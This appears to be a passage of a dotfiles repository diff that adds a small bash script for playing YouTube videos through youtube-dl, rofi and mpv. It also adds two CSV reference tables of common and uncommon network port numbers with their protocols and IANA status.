405 Method Not Allowed
|
||||
406 Not Acceptable
|
||||
407 Proxy Authentication Required
|
||||
408 Request Timeout
|
||||
409 Conflict
|
||||
410 Gone
|
||||
411 Length Required
|
||||
412 Precondition Failed
|
||||
413 Payload Too Large
|
||||
414 URI Too Long
|
||||
415 Unsupported Media Type
|
||||
416 Range Not Satisfiable
|
||||
417 Expectation Failed
|
||||
418 I'm A Teapot
|
||||
421 Misdirected Request
|
||||
422 Unprocessable Entity
|
||||
423 Locked
|
||||
424 Failed Dependency
|
||||
425 Too Early
|
||||
426 Upgrade Required
|
||||
428 Precondition Required
|
||||
429 Too Many Requests
|
||||
431 Request Header Fields Too Large
|
||||
451 Unavailable For Legal Reasons
|
||||
500 Internal Server Error
|
||||
501 Not Implemented
|
||||
502 Bad Gateway
|
||||
503 Service Unavailable
|
||||
504 Gateway Timeout
|
||||
505 HTTP Version Not Supported
|
||||
506 Variant Also Negotiates
|
||||
507 Insufficient Storage
|
||||
508 Loop Detected
|
||||
510 Not Extended
|
||||
511 Network Authentication Required
|
12
bin/.bin/dmenu/open-youtube
Executable file
12
bin/.bin/dmenu/open-youtube
Executable file
|
@ -0,0 +1,12 @@
|
|||
#!/bin/bash
|
||||
|
||||
url="$1"
|
||||
|
||||
if [ -z "$url" ]; then
|
||||
url=$(rofi -dmenu -p 'URL')
|
||||
fi
|
||||
|
||||
code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu | awk '{print $1}')
|
||||
|
||||
mpv "$url" --ytdl-format="$code"
|
||||
|
248
bin/.bin/dmenu/ports-common.csv
Normal file
248
bin/.bin/dmenu/ports-common.csv
Normal file
|
@ -0,0 +1,248 @@
|
|||
Port,TCP,UDP,IANA status[1],Description
|
||||
0,Reserved,Reserved,Official,
|
||||
0,N/A,N/A,Unofficial,"In programming APIs (not in communication between hosts), requests a system-allocated (dynamic) port[5]"
|
||||
1,Yes,Assigned,Official,"TCP Port Service Multiplexer (TCPMUX). Historic. Both TCP and UDP have been assigned to TCPMUX by IANA,[1] but by design only TCP is specified.[6]"
|
||||
5,Assigned,Assigned,Official,"Remote Job Entry[7] was historically using socket 5 in its old socket form, while MIB PIM has identified it as TCP/5[8] and IANA has assigned both TCP and UDP 5 to it."
|
||||
7,Yes,Yes,Official,Echo Protocol[9][10]
|
||||
9,"Yes, and SCTP[11]",Yes,Official,Discard Protocol[12]
|
||||
9,No,Yes,Unofficial,Wake-on-LAN[13]
|
||||
11,Yes,Yes,Official,Active Users (systat service)[14][15]
|
||||
13,Yes,Yes,Official,Daytime Protocol[16]
|
||||
15,Yes,No,Unofficial,Previously netstat service[1][14]
|
||||
17,Yes,Yes,Official,Quote of the Day (QOTD)[17]
|
||||
18,Yes,Yes,Official,Message Send Protocol[18][19]
|
||||
19,Yes,Yes,Official,Character Generator Protocol (CHARGEN)[20]
|
||||
20,"Yes, and SCTP[11]",Assigned,Official,File Transfer Protocol (FTP) data transfer[10]
|
||||
21,"Yes, and SCTP[11]",Assigned,Official,File Transfer Protocol (FTP) control (command)[10][11][21][22]
|
||||
22,"Yes, and SCTP[11]",Assigned,Official,"Secure Shell (SSH),[10] secure logins, file transfers (scp, sftp) and port forwarding"
|
||||
23,Yes,Assigned,Official,Telnet protocol—unencrypted text communications[10][23]
|
||||
25,Yes,Assigned,Official,"Simple Mail Transfer Protocol (SMTP),[10][24] used for email routing between mail servers"
|
||||
37,Yes,Yes,Official,Time Protocol[25]
|
||||
38,Yes,Yes,Official,Route Access Protocol (RAP)[26][importance?]
|
||||
39,Assigned,Yes,Official,Resource Location Protocol (RLP)[27][importance?]—used for determining the location of higher level services from hosts on a network
|
||||
42,Assigned,Yes,Official,Host Name Server Protocol[28]
|
||||
43,Yes,Assigned,Official,WHOIS protocol[29][30][31]
|
||||
47,Reserved,Reserved,Official,
|
||||
49,Yes,Yes,Official,"TACACS Login Host protocol.[32] TACACS+, still in draft which is an improved but dinstinct version of TACACS, only uses TCP 49.[33]"
|
||||
50,Assigned,Yes,Official,Remote Mail Checking Protocol[34][importance?]
|
||||
51,Reserved,Reserved,Official,"Historically used for Interface Message Processor logical address management,[35] entry has been removed by IANA on 2013-05-25"
|
||||
52,Assigned,Assigned,Official,"Xerox Network Systems (XNS) Time Protocol. Despite this port being assigned by IANA, the service is meant to work on SPP (ancestor of IPX/SPX), instead of TCP/IP.[36]"
|
||||
53,Yes,Yes,Official,Domain Name System (DNS)[37][10]
|
||||
54,Assigned,Assigned,Official,"Xerox Network Systems (XNS) Clearinghouse (Name Server). Despite this port being assigned by IANA, the service is meant to work on SPP (ancestor of IPX/SPX), instead of TCP/IP.[36]"
|
||||
56,Assigned,Assigned,Official,"Xerox Network Systems (XNS) Authentication Protocol. Despite this port being assigned by IANA, the service is meant to work on SPP (ancestor of IPX/SPX), instead of TCP/IP.[36]"
|
||||
58,Assigned,Assigned,Official,"Xerox Network Systems (XNS) Mail. Despite this port being assigned by IANA, the service is meant to work on SPP (ancestor of IPX/SPX), instead of TCP/IP.[36]"
|
||||
61,Reserved,Reserved,Official,"Historically assigned to the NIFTP-Based Mail protocol[38], but was never documented in the related IEN.[39] The port number entry was removed from IANA's registry on 2017-05-18.[1]"
|
||||
67,Assigned,Yes,Official,Bootstrap Protocol (BOOTP) server;[10] also used by Dynamic Host Configuration Protocol (DHCP)
|
||||
68,Assigned,Yes,Official,Bootstrap Protocol (BOOTP) client;[10] also used by Dynamic Host Configuration Protocol (DHCP)
|
||||
69,Assigned,Yes,Official,Trivial File Transfer Protocol (TFTP)[10][40][41][42]
|
||||
70,Yes,Assigned,Official,Gopher protocol[43]
|
||||
71–74,Yes,Yes,Official,NETRJS protocol[44][45][46]
|
||||
79,Yes,Assigned,Official,Finger protocol[10][47][48]
|
||||
80,"Yes, and SCTP[11]",Assigned,Official,Hypertext Transfer Protocol (HTTP)[10][49][50][51]
|
||||
80,No,Yes,Unofficial,"Quick UDP Internet Connections (QUIC), a transport protocol over UDP (still in draft as of July 2018), using stream multiplexing, encryption by default with TLS, and currently supporting HTTP/2.[52]"
|
||||
81,Yes,,Unofficial,TorPark onion routing[verification needed]
|
||||
82,,Yes,Unofficial,TorPark control[verification needed]
|
||||
88,Yes,Assigned,Official,Kerberos[10][53][54] authentication system
|
||||
90,Yes,Yes,Unofficial,PointCast (dotcom)[1][third-party source needed]
|
||||
101,Yes,Assigned,Official,NIC host name[55]
|
||||
102,Yes,Assigned,Official,ISO Transport Service Access Point (TSAP) Class 0 protocol;[56][57]
|
||||
104,Yes,Yes,Official,Digital Imaging and Communications in Medicine (DICOM; also port 11112)
|
||||
105,Yes,Yes,Official,CCSO Nameserver[58]
|
||||
107,Yes,Yes,Official,Remote User Telnet Service (RTelnet)[59]
|
||||
108,Yes,Yes,Official,IBM Systems Network Architecture (SNA) gateway access server
|
||||
109,Yes,Assigned,Official,"Post Office Protocol, version 2 (POP2)[60]"
|
||||
110,Yes,Assigned,Official,"Post Office Protocol, version 3 (POP3)[10][61][62]"
|
||||
111,Yes,Yes,Official,"Open Network Computing Remote Procedure Call (ONC RPC, sometimes referred to as Sun RPC)"
|
||||
113,Yes,No,Official,"Ident, authentication service/identification protocol,[10][63] used by IRC servers to identify users"
|
||||
113,Yes,Assigned,Official,"Authentication Service (auth), the predecessor to identification protocol. Used to determine a user's identity of a particular TCP connection.[64]"
|
||||
115,Yes,Assigned,Official,Simple File Transfer Protocol[10][65]
|
||||
117,Yes,Yes,Official,UUCP Mapping Project (path service)[citation needed]
|
||||
118,Yes,Yes,Official,Structured Query Language (SQL) Services[jargon]
|
||||
119,Yes,Assigned,Official,"Network News Transfer Protocol (NNTP),[10] retrieval of newsgroup messages[66][67]"
|
||||
123,Assigned,Yes,Official,"Network Time Protocol (NTP), used for time synchronization[10]"
|
||||
126,Yes,Yes,Official,"Formerly Unisys Unitary Login, renamed by Unisys to NXEdit. Used by Unisys Programmer's Workbench for Clearpath MCP, an IDE for Unisys MCP software development"
|
||||
135,Yes,Yes,Official,DCE endpoint resolution
|
||||
135,Yes,Yes,Official,"Microsoft EPMAP (End Point Mapper), also known as DCE/RPC Locator service,[68] used to remotely manage services including DHCP server, DNS server and WINS. Also used by DCOM"
|
||||
137,Yes,Yes,Official,"NetBIOS Name Service, used for name registration and resolution[69][70]"
|
||||
138,Assigned,Yes,Official,NetBIOS Datagram Service[10][69][70]
|
||||
139,Yes,Assigned,Official,NetBIOS Session Service[69][70]
|
||||
143,Yes,Assigned,Official,"Internet Message Access Protocol (IMAP),[10] management of electronic mail messages on a server[71]"
|
||||
152,Yes,Yes,Official,Background File Transfer Program (BFTP)[72][importance?]
|
||||
153,Yes,Yes,Official,"Simple Gateway Monitoring Protocol (SGMP), a protocol for remote inspection and alteration of gateway management information[73]"
|
||||
156,Yes,Yes,Official,Structured Query Language (SQL) Service[jargon]
|
||||
158,Yes,Yes,Official,"Distributed Mail System Protocol (DMSP, sometimes referred to as Pcmail)[74][importance?]"
|
||||
161,Assigned,Yes,Official,Simple Network Management Protocol (SNMP)[75][citation needed][10]
|
||||
162,Yes,Yes,Official,Simple Network Management Protocol Trap (SNMPTRAP)[75][76][citation needed]
|
||||
170,Yes,Yes,Official,Network PostScript print server
|
||||
177,Yes,Yes,Official,"X Display Manager Control Protocol (XDMCP), used for remote logins to an X Display Manager server[77]"
|
||||
179,"Yes, and SCTP[11]",Assigned,Official,"Border Gateway Protocol (BGP),[78] used to exchange routing and reachability information among autonomous systems (AS) on the Internet"
|
||||
194,Yes,Yes,Official,Internet Relay Chat (IRC)[79]
|
||||
199,Yes,Yes,Official,SNMP multiplexing protocol (SMUX)[80][81][importance?]
|
||||
201,Yes,Yes,Official,AppleTalk Routing Maintenance
|
||||
209,Yes,Assigned,Official,Quick Mail Transfer Protocol[82]
|
||||
210,Yes,Yes,Official,ANSI Z39.50
|
||||
213,Yes,Yes,Official,Internetwork Packet Exchange (IPX)
|
||||
218,Yes,Yes,Official,Message posting protocol (MPP)
|
||||
220,Yes,Yes,Official,"Internet Message Access Protocol (IMAP), version 3"
|
||||
225–241,Reserved,Reserved,Official,
|
||||
249–255,Reserved,Reserved,Official,
|
||||
259,Yes,Yes,Official,Efficient Short Remote Operations (ESRO)
|
||||
262,Yes,Yes,Official,Arcisdms
|
||||
264,Yes,Yes,Official,Border Gateway Multicast Protocol (BGMP)
|
||||
280,Yes,Yes,Official,http-mgmt
|
||||
300,Yes,,Unofficial,ThinLinc Web Access
|
||||
308,Yes,,Official,Novastor Online Backup
|
||||
311,Yes,Assigned,Official,Mac OS X Server Admin[10] (officially AppleShare IP Web administration[1])
|
||||
318,Yes,Yes,Official,PKIX Time Stamp Protocol (TSP)
|
||||
319,,Yes,Official,Precision Time Protocol (PTP) event messages
|
||||
320,,Yes,Official,Precision Time Protocol (PTP) general messages
|
||||
350,Yes,Yes,Official,Mapping of Airline Traffic over Internet Protocol (MATIP) type A
|
||||
351,Yes,Yes,Official,MATIP type B
|
||||
356,Yes,Yes,Official,cloanto-net-1 (used by Cloanto Amiga Explorer and VMs)
|
||||
366,Yes,Yes,Official,On-Demand Mail Relay (ODMR)
|
||||
369,Yes,Yes,Official,Rpc2portmap
|
||||
370,Yes,Yes,Official,"codaauth2, Coda authentication server"
|
||||
370,,Yes,Official,"securecast1, outgoing packets to NAI's SecureCast servers[83]As of 2000"
|
||||
371,Yes,Yes,Official,ClearCase albd
|
||||
383,Yes,Yes,Official,HP data alarm manager
|
||||
384,Yes,Yes,Official,A Remote Network Server System
|
||||
387,Yes,Yes,Official,AURP (AppleTalk Update-based Routing Protocol)[84]
|
||||
388,Yes,Assigned,Official,Unidata LDM near real-time data distribution protocol[85][86]
|
||||
389,Yes,Assigned,Official,Lightweight Directory Access Protocol (LDAP)[10]
|
||||
399,Yes,Yes,Official,Digital Equipment Corporation DECnet (Phase V+) over TCP/IP
|
||||
401,Yes,Yes,Official,Uninterruptible power supply (UPS)
|
||||
427,Yes,Yes,Official,Service Location Protocol (SLP)[10]
|
||||
433,Yes,Yes,Official,"NNSP, part of Network News Transfer Protocol"
|
||||
434,Yes,Yes,Official,Mobile IP Agent (RFC 5944)
|
||||
443,"Yes, and SCTP[11]",Assigned,Official,Hypertext Transfer Protocol over TLS/SSL (HTTPS)[10]
|
||||
443,No,Yes,Unofficial,"Quick UDP Internet Connections (QUIC), a transport protocol over UDP (still in draft as of July 2018), using stream multiplexing, encryption by default with TLS, and currently supporting HTTP/2.[52]"
|
||||
444,Yes,Yes,Official,"Simple Network Paging Protocol (SNPP), RFC 1568"
|
||||
445,Yes,Yes,Official,"Microsoft-DS (Directory Services) Active Directory,[87] Windows shares"
|
||||
445,Yes,Assigned,Official,Microsoft-DS (Directory Services) SMB[10] file sharing
|
||||
464,Yes,Yes,Official,Kerberos Change/Set password
|
||||
465,Yes,No,Official,URL Rendezvous Directory for SSM (Cisco protocol)[importance?]
|
||||
465,Yes,No,Official,Authenticated SMTP[10] over TLS/SSL (SMTPS)[88]
|
||||
475,Yes,Yes,Official,"tcpnethaspsrv, Aladdin Knowledge Systems Hasp services"
|
||||
491,Yes,,Unofficial,GO-Global remote access and application publishing software
|
||||
497,Yes,Yes,Official,Retrospect
|
||||
500,Assigned,Yes,Official,Internet Security Association and Key Management Protocol (ISAKMP) / Internet Key Exchange (IKE)[10]
|
||||
502,Yes,Yes,Official,Modbus Protocol
|
||||
504,Yes,Yes,Official,"Citadel, multiservice protocol for dedicated clients for the Citadel groupware system"
|
||||
510,Yes,Yes,Official,"FirstClass Protocol (FCP), used by FirstClass client/server groupware system"
|
||||
512,Yes,,Official,"Rexec, Remote Process Execution"
|
||||
512,,Yes,Official,"comsat, together with biff"
|
||||
513,Yes,,Official,rlogin
|
||||
513,,Yes,Official,Who[89]
|
||||
514,Yes,,Official,"Remote Shell, used to execute non-interactive commands on a remote system (Remote Shell, rsh, remsh)"
|
||||
514,No,Yes,Official,"Syslog,[10] used for system logging"
|
||||
515,Yes,Assigned,Official,"Line Printer Daemon (LPD),[10] print service"
|
||||
517,,Yes,Official,Talk
|
||||
518,,Yes,Official,NTalk
|
||||
520,Yes,,Official,"efs, extended file name server"
|
||||
520,,Yes,Official,Routing Information Protocol (RIP)
|
||||
521,,Yes,Official,Routing Information Protocol Next Generation (RIPng)
|
||||
524,Yes,Yes,Official,"NetWare Core Protocol (NCP) is used for a variety things such as access to primary NetWare server resources, Time Synchronization, etc."
|
||||
525,,Yes,Official,"Timed, Timeserver"
|
||||
530,Yes,Yes,Official,Remote procedure call (RPC)
|
||||
532,Yes,Assigned,Official,netnews[10]
|
||||
533,,Yes,Official,"netwall, For Emergency Broadcasts"
|
||||
540,Yes,,Official,Unix-to-Unix Copy Protocol (UUCP)
|
||||
542,Yes,Yes,Official,commerce (Commerce Applications)
|
||||
543,Yes,,Official,"klogin, Kerberos login"
|
||||
544,Yes,,Official,"kshell, Kerberos Remote shell"
|
||||
546,Yes,Yes,Official,DHCPv6 client
|
||||
547,Yes,Yes,Official,DHCPv6 server
|
||||
548,Yes,Assigned,Official,Apple Filing Protocol (AFP) over TCP[10]
|
||||
550,Yes,Yes,Official,"new-rwho, new-who[89]"
|
||||
554,Yes,Yes,Official,Real Time Streaming Protocol (RTSP)[10]
|
||||
556,Yes,,Official,"Remotefs, RFS, rfs_server"
|
||||
560,,Yes,Official,"rmonitor, Remote Monitor"
|
||||
561,,Yes,Official,monitor
|
||||
563,Yes,Yes,Official,NNTP over TLS/SSL (NNTPS)
|
||||
564,Yes,,Unofficial,9P (Plan 9)
|
||||
585,Port 993,?,Unofficial,"Legacy use of Internet Message Access Protocol over TLS/SSL (IMAPS), now in use at port 993.[90]"
|
||||
587,Yes,Assigned,Official,email message submission[10][91] (SMTP)
|
||||
591,Yes,,Official,"FileMaker 6.0 (and later) Web Sharing (HTTP Alternate, also see port 80)"
|
||||
593,Yes,Yes,Official,"HTTP RPC Ep Map, Remote procedure call over Hypertext Transfer Protocol, often used by Distributed Component Object Model services and Microsoft Exchange Server"
|
||||
601,Yes,,Official,Reliable Syslog Service — used for system logging
|
||||
604,Yes,,Official,"TUNNEL profile,[92] a protocol for BEEP peers to form an application layer tunnel"
|
||||
623,,Yes,Official,ASF Remote Management and Control Protocol (ASF-RMCP) & IPMI Remote Management Protocol
|
||||
625,Yes,No,Unofficial,Open Directory Proxy (ODProxy)[10]
|
||||
631,Yes,Yes,Official,Internet Printing Protocol (IPP)[10]
|
||||
631,Yes,Yes,Unofficial,Common Unix Printing System (CUPS) administration console (extension to IPP)
|
||||
635,Yes,Yes,Official,RLZ DBase
|
||||
636,Yes,Assigned,Official,Lightweight Directory Access Protocol over TLS/SSL (LDAPS)[10]
|
||||
639,Yes,Yes,Official,"MSDP, Multicast Source Discovery Protocol"
|
||||
641,Yes,Yes,Official,"SupportSoft Nexus Remote Command (control/listening), a proxy gateway connecting remote control traffic"
|
||||
643,Yes,Yes,Official,SANity
|
||||
646,Yes,Yes,Official,"Label Distribution Protocol (LDP), a routing protocol used in MPLS networks"
|
||||
647,Yes,,Official,DHCP Failover protocol[93]
|
||||
648,Yes,,Official,Registry Registrar Protocol (RRP)[94]
|
||||
651,Yes,Yes,Official,IEEE-MMS
|
||||
653,Yes,Yes,Official,"SupportSoft Nexus Remote Command (data), a proxy gateway connecting remote control traffic"
|
||||
654,Yes,,Official,Media Management System (MMS) Media Management Protocol (MMP)[95]
|
||||
655,Yes,Yes,Official,Tinc VPN daemon
|
||||
657,Yes,Yes,Official,"IBM RMC (Remote monitoring and Control) protocol, used by System p5 AIX Integrated Virtualization Manager (IVM)[96] and Hardware Management Console to connect managed logical partitions (LPAR) to enable dynamic partition reconfiguration"
|
||||
660,Yes,Assigned,Official,"Mac OS X Server administration,[1] version 10.4 and earlier[10]"
|
||||
666,Yes,Yes,Official,"Doom, first online first-person shooter"
|
||||
666,Yes,,Unofficial,"airserv-ng, aircrack-ng's server for remote-controlling wireless devices"
|
||||
674,Yes,,Official,Application Configuration Access Protocol (ACAP)
|
||||
688,Yes,Yes,Official,REALM-RUSD (ApplianceWare Server Appliance Management Protocol)
|
||||
690,Yes,Yes,Official,Velneo Application Transfer Protocol (VATP)
|
||||
691,Yes,,Official,MS Exchange Routing
|
||||
694,Yes,Yes,Official,Linux-HA high-availability heartbeat
|
||||
695,Yes,,Official,IEEE Media Management System over SSL (IEEE-MMS-SSL)[97]
|
||||
698,,Yes,Official,Optimized Link State Routing (OLSR)
|
||||
700,Yes,,Official,"Extensible Provisioning Protocol (EPP), a protocol for communication between domain name registries and registrars (RFC 5734)"
|
||||
701,Yes,,Official,"Link Management Protocol (LMP),[98] a protocol that runs between a pair of nodes and is used to manage traffic engineering (TE) links"
|
||||
702,Yes,,Official,IRIS[99][100] (Internet Registry Information Service) over BEEP (Blocks Extensible Exchange Protocol)[101] (RFC 3983)
|
||||
706,Yes,,Official,Secure Internet Live Conferencing (SILC)
|
||||
711,Yes,,Official,Cisco Tag Distribution Protocol[102][103][104]—being replaced by the MPLS Label Distribution Protocol[105]
|
||||
712,Yes,,Official,Topology Broadcast based on Reverse-Path Forwarding routing protocol (TBRPF; RFC 3684)
|
||||
749,Yes,Yes,Official,Kerberos (protocol) administration[10]
|
||||
750,,Yes,Official,"kerberos-iv, Kerberos version IV"
|
||||
751,Yes,Yes,Unofficial,"kerberos_master, Kerberos authentication"
|
||||
752,,Yes,Unofficial,"passwd_server, Kerberos password (kpasswd) server"
|
||||
753,Yes,Yes,Official,Reverse Routing Header (RRH)[106]
|
||||
753,,Yes,Unofficial,"userreg_server, Kerberos userreg server"
|
||||
754,Yes,Yes,Official,tell send
|
||||
754,Yes,,Unofficial,"krb5_prop, Kerberos v5 slave propagation"
|
||||
760,Yes,Yes,Unofficial,"krbupdate [kreg], Kerberos registration"
|
||||
782,Yes,,Unofficial,Conserver serial-console management server
|
||||
783,Yes,,Unofficial,SpamAssassin spamd daemon
|
||||
800,Yes,Yes,Official,mdbs-daemon
|
||||
808,Yes,,Unofficial,Microsoft Net.TCP Port Sharing Service
|
||||
829,Yes,Assigned,Official,Certificate Management Protocol[107]
|
||||
830,Yes,Yes,Official,NETCONF over SSH
|
||||
831,Yes,Yes,Official,NETCONF over BEEP
|
||||
832,Yes,Yes,Official,NETCONF for SOAP over HTTPS
|
||||
833,Yes,Yes,Official,NETCONF for SOAP over BEEP
|
||||
843,Yes,,Unofficial,Adobe Flash[108]
|
||||
847,Yes,,Official,DHCP Failover protocol
|
||||
848,Yes,Yes,Official,Group Domain Of Interpretation (GDOI) protocol
|
||||
853,Yes,Yes,Official,DNS over TLS (RFC 7858)
|
||||
860,Yes,,Official,iSCSI (RFC 3720)
|
||||
861,Yes,Yes,Official,OWAMP control (RFC 4656)
|
||||
862,Yes,Yes,Official,TWAMP control (RFC 5357)
|
||||
873,Yes,,Official,rsync file synchronization protocol
|
||||
888,Yes,,Unofficial,"cddbp, CD DataBase (CDDB) protocol (CDDBP)"
|
||||
888,Yes,,Unofficial,IBM Endpoint Manager Remote Control
|
||||
897,Yes,Yes,Unofficial,Brocade SMI-S RPC
|
||||
898,Yes,Yes,Unofficial,Brocade SMI-S RPC SSL
|
||||
902,Yes,Yes,Unofficial,VMware ESXi[109][110]
|
||||
903,Yes,,Unofficial,VMware ESXi[109][110]
|
||||
953,Yes,Reserved,Official,BIND remote name daemon control (RNDC)[111][112]
|
||||
981,Yes,,Unofficial,Remote HTTPS management for firewall devices running embedded Check Point VPN-1 software[113]
|
||||
987,Yes,,Unofficial,"Microsoft Remote Web Workplace, a feature of Windows Small Business Server[114]"
|
||||
989,Yes,Yes,Official,"FTPS Protocol (data), FTP over TLS/SSL"
|
||||
990,Yes,Yes,Official,"FTPS Protocol (control), FTP over TLS/SSL"
|
||||
991,Yes,Yes,Official,Netnews Administration System (NAS)[115]
|
||||
992,Yes,Yes,Official,Telnet protocol over TLS/SSL
|
||||
993,Yes,Assigned,Official,Internet Message Access Protocol over TLS/SSL (IMAPS)[10]
|
||||
994,Reserved,Reserved,Official,
|
||||
994,Maybe,Maybe,Unofficial,"Internet Relay Chat over TLS/SSL (IRCS). Previously assigned, but not used in common practice.[79]"
|
||||
995,Yes,Yes,Official,Post Office Protocol 3 over TLS/SSL (POP3S)[10]
|
||||
1010,Yes,,Unofficial,ThinLinc web-based administration interface[116]
|
||||
1011–1020,Reserved,Reserved,Official,
|
||||
1023,Reserved,Reserved,Official,[1]
|
||||
1023,Yes,Yes,Unofficial,z/OS Network File System (NFS) (potentially ports 991–1023)[117]
|
|
956
bin/.bin/dmenu/ports-uncommon.csv
Normal file
956
bin/.bin/dmenu/ports-uncommon.csv
Normal file
|
@ -0,0 +1,956 @@
|
|||
Port,TCP,UDP,Description,IANA status[1]
|
||||
1024,Reserved,Reserved,Reserved,Official
|
||||
1027,Reserved,,Reserved,Official
|
||||
1027,,Yes,Native IPv6 behind IPv4-to-IPv4 NAT Customer Premises Equipment (6a44)[118],Official
|
||||
1028,,,Deprecated,Official
|
||||
1029,,,Microsoft DCOM services,Official
|
||||
1058,Yes,Yes,"nim, IBM AIX Network Installation Manager (NIM)",Official
|
||||
1059,Yes,Yes,"nimreg, IBM AIX Network Installation Manager (NIM)",Official
|
||||
1080,Yes,Yes,SOCKS proxy,Official
|
||||
1085,Yes,Yes,WebObjects[10],Official
|
||||
1098,Yes,Yes,"rmiactivation, Java remote method invocation (RMI) activation",Official
|
||||
1099,Yes,Assigned,"rmiregistry, Java remote method invocation (RMI) registry",Official
|
||||
1109,,,Reserved – IANA,Official
|
||||
1109,Yes,,Kerberos Post Office Protocol (KPOP)[citation needed],Unofficial
|
||||
1119,Yes,Yes,"Battle.net chat/game protocol, used by Blizzard's games[119]",Official
|
||||
1167,"Yes, and SCTP",Yes,Cisco IP SLA (Service Assurance Agent),Official
|
||||
1194,Yes,Yes,OpenVPN,Official
|
||||
1198,Yes,Yes,The cajo project Free dynamic transparent distributed computing in Java,Official
|
||||
1214,Yes,Yes,Kazaa,Official
|
||||
1220,Yes,Assigned,QuickTime Streaming Server administration[10],Official
|
||||
1234,Yes,Yes,Infoseek search agent,Official
|
||||
1234,,Yes,VLC media player default port for UDP/RTP stream[citation needed],Unofficial
|
||||
1241,Yes,Yes,Nessus Security Scanner,Official
|
||||
1270,Yes,Yes,Microsoft System Center Operations Manager (SCOM) (formerly Microsoft Operations Manager (MOM)) agent,Official
|
||||
1293,Yes,Yes,Internet Protocol Security (IPSec),Official
|
||||
1311,Yes,Yes,Windows RxMon.exe,Official
|
||||
1311,Yes,,Dell OpenManage HTTPS[120],Unofficial
|
||||
1314,?,?,Festival Speech Synthesis System server[121],Unofficial
|
||||
1337,Yes,,neo4j-shell[citation needed],Unofficial
|
||||
1337,Yes,,WASTE Encrypted File Sharing Program[citation needed],Unofficial
|
||||
1341,Yes,Yes,Qubes (Manufacturing Execution System),Official
|
||||
1344,Yes,Yes,Internet Content Adaptation Protocol,Official
|
||||
1352,Yes,Yes,IBM Lotus Notes/Domino (RPC) protocol,Official
|
||||
1360,Yes,Yes,Mimer SQL,Official
|
||||
1414,Yes,Yes,IBM WebSphere MQ (formerly known as MQSeries),Official
|
||||
1417,Yes,Yes,Timbuktu Service 1 Port,Official
|
||||
1418,Yes,Yes,Timbuktu Service 2 Port,Official
|
||||
1419,Yes,Yes,Timbuktu Service 3 Port,Official
|
||||
1420,Yes,Yes,Timbuktu Service 4 Port,Official
|
||||
1431,Yes,,"Reverse Gossip Transport Protocol (RGTP), used to access a General-purpose Reverse-Ordered Gossip Gathering System (GROGGS) bulletin board, such as that implemented on the Cambridge University's Phoenix system",Official
|
||||
1433,Yes,Yes,Microsoft SQL Server database management system (MSSQL) server,Official
|
||||
1434,Yes,Yes,Microsoft SQL Server database management system (MSSQL) monitor,Official
|
||||
1492,Yes,,"Sid Meier's CivNet, a multiplayer remake of the original Sid Meier's Civilization game[citation needed]",Unofficial
|
||||
1494,Yes,Yes,Citrix Independent Computing Architecture (ICA)[122],Unofficial
|
||||
1500,Yes,,IBM Tivoli Storage Manager server[123],Unofficial
|
||||
1501,Yes,,IBM Tivoli Storage Manager client scheduler[123],Unofficial
|
||||
1503,Yes,Yes,Windows Live Messenger (Whiteboard and Application Sharing)[124],Unofficial
|
||||
1512,Yes,Yes,Microsoft's Windows Internet Name Service (WINS),Official
|
||||
1513,Yes,Yes,Garena game client[citation needed],Unofficial
|
||||
1521,Yes,Yes,nCUBE License Manager,Official
|
||||
1521,Yes,,"Oracle database default listener, in future releases[when?][125] official port 2483 (TCP/IP) and 2484 (TCP/IP with SSL)",Unofficial
|
||||
1524,Yes,Yes,"ingreslock, ingres",Official
|
||||
1527,Yes,Yes,"Oracle Net Services, formerly known as SQL*Net[126]",Official
|
||||
1527,Yes,,Apache Derby Network Server[127],Unofficial
|
||||
1533,Yes,Yes,IBM Sametime Virtual Places Chat,Official
|
||||
1540,Yes,Yes,1C:Enterprise server agent (ragent) [128] [129],Unofficial
|
||||
1541,Yes,Yes,1C:Enterprise master cluster manager (rmngr) [128],Unofficial
|
||||
1542,Yes,Yes,1C:Enterprise configuration repository server [128],Unofficial
|
||||
1545,Yes,Yes,1C:Enterprise cluster administration server (RAS) [128],Unofficial
|
||||
1547,Yes,Yes,Laplink,Official
|
||||
1550,Yes,Yes,1C:Enterprise debug server [128],Unofficial
|
||||
1550,Yes,,Gadu-Gadu (direct client-to-client)[citation needed],Unofficial
|
||||
1560-1591,Yes,Yes,1C:Enterprise cluster working processes [128],Unofficial
|
||||
1581,Yes,Yes,MIL STD 2045-47001 VMF,Official
|
||||
1581,Yes,,IBM Tivoli Storage Manager web client[123],Unofficial
|
||||
1582–1583,Yes,,IBM Tivoli Storage Manager server web interface[123],Unofficial
|
||||
1583,?,?,Pervasive PSQL[130],Unofficial
|
||||
1589,Yes,Yes,Cisco VLAN Query Protocol (VQP),Official
|
||||
1604,Yes,Yes,DarkComet remote administration tool (RAT)[citation needed],Unofficial
|
||||
1626,Yes,?,iSketch[131],Unofficial
|
||||
1627,Yes,?,iSketch[131],Unofficial
|
||||
1628,Yes,Yes,LonTalk normal,Official
|
||||
1629,Yes,Yes,LonTalk urgent,Official
|
||||
1645,,Yes,Early deployment of RADIUS before RFC standardization was done using UDP port number 1645. Enabled for compatibility reasons by default on Cisco[citation needed] and Juniper Networks RADIUS servers.[132] Official port is 1812. TCP port 1645 must not be used.[133],Unofficial
|
||||
1646,,Yes,"Old radacct port,[when?] RADIUS accounting protocol. Enabled for compatibility reasons by default on Cisco[citation needed] and Juniper Networks RADIUS servers.[132] Official port is 1813. TCP port 1646 must not be used.[133]",Unofficial
|
||||
1666,Yes,,Perforce[134],Unofficial
|
||||
1677,Yes,Yes,Novell GroupWise clients in client/server access mode,Official
|
||||
1688,Yes,,Microsoft Key Management Service (KMS) for Windows Activation[135],Unofficial
|
||||
1701,Yes,Yes,Layer 2 Forwarding Protocol (L2F),Official
|
||||
1701,Assigned,Yes,Layer 2 Tunneling Protocol (L2TP)[10],Official
|
||||
1707,Yes,Yes,Windward Studios games (vdmplay),Official
|
||||
1707,,Yes,"L2TP/IPsec, for establish an initial connection[136]",Unofficial
|
||||
1716,,Yes,"America's Army, a massively multiplayer online game (MMO)[137]",Unofficial
|
||||
1719,Yes,Yes,H.323 registration and alternate communication,Official
|
||||
1720,Yes,Yes,H.323 call signaling,Official
|
||||
1723,Yes,Assigned,Point-to-Point Tunneling Protocol (PPTP)[10],Official
|
||||
1755,Yes,Yes,"Microsoft Media Services (MMS, ms-streaming)",Official
|
||||
1761,Yes,Yes,Novell ZENworks[138][139],Unofficial
|
||||
1783,,,"Decomissioned [sic] Port 04/14/00, ms",Official
|
||||
1801,Yes,Yes,Microsoft Message Queuing,Official
|
||||
